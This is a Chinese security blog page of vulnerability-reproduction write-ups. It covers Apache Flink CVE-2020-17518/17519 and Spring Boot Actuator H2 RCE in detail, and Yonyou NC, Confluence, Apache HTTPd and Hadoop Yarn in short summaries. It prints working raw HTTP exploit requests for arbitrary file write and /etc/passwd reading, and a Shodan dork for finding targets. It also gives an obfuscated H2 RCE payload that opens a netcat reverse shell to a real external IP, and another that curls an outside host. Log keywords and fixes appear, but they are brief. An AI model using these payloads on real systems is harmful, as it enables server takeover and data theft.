分类目录漏洞复现

用友多个漏洞复现合集

用友NC漏洞列表

  • 用友 NC BshServlet 远程代码执行漏洞
  • 用友 NC XbrlPersistenceServlet反序列化漏洞
  • 用友 NC servlet.FileReceiveServlet 反序列化代码执行漏洞
  • 用友 ERP-NC 目录遍历漏洞
  • 用友 NC-cloud 任意文件上传漏洞
  • 用友 NC-cloud 命令执行RCE漏洞
  • 用友 ERP SQL注入漏洞
  • 用友 U8 test.jsp的SQL注入漏洞
阅读更多

CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入和目录遍历漏洞复现

漏洞简述

Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。

CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。

CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

漏洞影响版本

CVE-2020-17518 1.5.1 < Flink < 1.11.2

CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2

Shodan搜索语法

http.favicon.hash:180732787

漏洞exp

该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。

https://github.com/QmF0c3UK/CVE-2020-17518

https://github.com/B1anda0/CVE-2020-17519

漏洞环境搭建

使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。

漏洞复现

CVE-2020-17518

点击上面上传jar包,burp抓包修改路径。

POST /jars/upload HTTP/1.1
Host: vul.zgao.top:8081
Content-Length: 228
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt
Connection: close

------WebKitFormBoundaryphBB4uHGBVImrUXt
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
Content-Type: application/octet-stream

success

------WebKitFormBoundaryphBB4uHGBVImrUXt--

文件上传成功。

CVE-2020-17519

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vul.zgao.top:8081
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Connection: close

溯源排查

日志位置:/opt/flink/log

排查关键词:JarUploadHandler

目录穿越任意文件读取,日志中没有记录。

修复方式

升级至1.11.3及更高版本。

Spring Boot Actuator H2 远程代码执行漏洞复现 & POC优化解决命令执行报错

漏洞简述

Actutator是spring一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。

漏洞利用条件

  • Spring Boot Actuator配置不当暴露/actuator/env 等接口
  • 使用HikariCP(H2)数据库

漏洞环境搭建

使用github上的docker漏洞镜像。

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
cd spring-boot-actuator-h2-rce
docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 --name lab --rm  -t  spaceraccoon/spring-boot-rce-lab 
http://vul.zgao.top:8080/actuator

漏洞复现

先来看下网上用的最多的一段POC。

接口:/actuator/env

网上这个poc不稳定,执行反弹shell和部分命令会失败。这里的坑踩了很多次!!!后面会单独分析。

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl zgao.xyz:1234/success');"}

接口:/actuator/restart,post一个空的json。

{}

命令执行成功。

payload存在的一些问题

网上提供的payload并不稳定,简单分析一下存在两个问题。

  1. payload执行第二次会报错退出容器。
  2. 无法执行带特殊字符的命令或者执行反弹shell。

先分析第一个问题。由于要restart才能执行一次命令。这里第二次请求接口。

此时已退出容器,往上查看堆栈报错。

执行的sql语句中,exec这个别名已经存在又再次创建导致报错。

所以把poc中的CREATE ALIAS EXEC AS换成CREATE ALIAS IF NOT EXISTS EXEC AS即可。

第二个问题,上面的poc无法反弹shell。这个和java.runtime.exec 命令执行有关,网上有很多介绍的文章。

优化后的payload

最终优化后的POC如下换成下面的poc就能同时解决上面的两个问题。

可以使用 https://zgao.top/reverse-shell/ 生成payload。

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS IF NOT EXISTS EXEC AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL EXEC('/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 43.155.67.230 1234 >/tmp/f');"}

反弹shell执行成功。

溯源排查

用docker logs 可查看控制台日志。但没有记录请求ip。

排查关键词:exec,dispatcherServlet

修复方式

不要暴露端点,默认是只能访问到healthinfo端点。

CVE-2021-26084 Confluence OGNL表达式注入命令执行漏洞复现

漏洞简述

Atlassian Confluence是Atlassian公司出品的专业的企业知识管理与协同软件,可用于构建企业文库等。2021年8月26日Atlassian官方发布公告,披露了CVE-2021-26084 Atlassian Confluence 远程代码执行漏洞。攻击者在经过认证后或在部分场景下无需认证,即可构造恶意请求,造成OGNL表达式注入,从而执行任意代码,控制服务器。

阅读更多

CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越与命令执行漏洞复现

漏洞简述

Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

阅读更多

Hadoop Yarn RPC未授权访问漏洞复现

漏洞简述

Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。近日阿里云应急响应中心监测到 Hadoop Yarn RPC未授权访问漏洞在野利用事件。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。

阅读更多